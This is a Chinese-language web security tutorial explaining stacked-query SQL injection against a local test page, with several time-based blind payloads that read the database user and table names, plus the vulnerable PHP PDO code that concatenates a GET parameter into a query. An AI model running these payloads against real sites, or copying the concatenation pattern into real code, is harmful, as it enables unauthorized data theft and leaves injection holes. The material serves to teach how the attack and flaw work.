Web網絡安全分析堆疊查詢注入攻擊原理
1.堆疊查詢注入攻擊
堆疊查詢注入攻擊的測試地址:http://127.0.0.1/sqli/duidie.php?id=1。
堆疊查詢可以執(zhí)行多條語句,多語句之間以分好隔開。堆疊查詢注入就是利用這個特點,在第二個SQL語句中構造自己要執(zhí)行的語句。首先訪問id=1',頁面返回MySQL錯誤,在訪問id=1'--+,頁面返回正常的結果。這里可以使用Boolean注入、時間注入,也可以使用另一種注入方式——堆疊注入。
堆疊注入的語句為:
';select if(substr(user(),1,1)='r',sleep(3),1)--+
從堆疊注入語句中可以看到,第二條SQL語句就是時間盲注的語句,執(zhí)行結果如圖37所示。
圖38 利用堆疊注入獲取數據
后面獲取數據的操作與時間盲注的一樣,通過構造不同的時間注入語句,可以得到完整的數據庫的庫名、表名、字段名和具體數據。執(zhí)行以下語句,就可以獲取數據庫的表名。
';select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)--+
結果如圖38所示。
圖39 利用堆疊注入獲取表名
2.堆疊準入代碼分析
在堆疊注入頁面中,程序獲取GET參數ID,使用PDO的方式進行數據查詢,但仍然將參數ID拼接到查詢語句,導致PDO沒起到預編譯的效果,程序仍然存在SQL注入漏洞,代碼如下所示。
<?php header('Content-type:text/html;charset=utf-8'); try { $conn = new PDO("mysql:host=localhost;dbname=test", "root", "root");//連接數據庫,初始化一個pdo對象 $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);//設置一個屬性 $id = @$_GET['id']; $sql = "select * from users where `id`='".$id."'"; echo "<hr />"; echo "當前執(zhí)行語句為:".$sql; echo "<hr />"; $stmt = $conn->query($sql); $result = $stmt->setFetchMode(PDO::FETCH_ASSOC); foreach($stmt->fetchAll() as $k=>$v) { foreach ($v as $key => $value) { echo $value; } } $dsn = null; } catch(PDOException $e) { echo "error"; } $conn = null; ?>
使用PDO執(zhí)行SQL語句時,可以執(zhí)行多語句,不過這樣通常不能直接得到注入結果,因為PDO只會返回第一條SQL語句執(zhí)行的結果,所以在第二條語句中可以用Update更新數據或者使用時間盲注獲取數據。訪問dd.php?id=1';select if(ord(substring(user(),1,1))=114,sleep(3),1);%23時,執(zhí)行的SQL語句為:
select * from users where `id`='1';select if(ord(substring(user(),1,1))=114,sleep(3),1);#
此時SQL語句分為另外兩條,第一條select * from users where `id`='1'是代碼自己的select查詢,而select if(ord(substring(user(),1,1))=114,sleep(3),1);#則是我們構造的時間盲注語句。
以上就是Web網絡安全分析堆疊查詢注入攻擊原理的詳細內容,更多關于Web網絡安全堆疊查詢注入攻擊的資料請關注腳本之家其它相關文章!
相關文章
一句話木馬的原理及利用分析(asp,aspx,php,jsp)
一句話木馬的原理及利用分析,大家在發(fā)現可疑情況下,需要注意檢查的地方。2011-02-02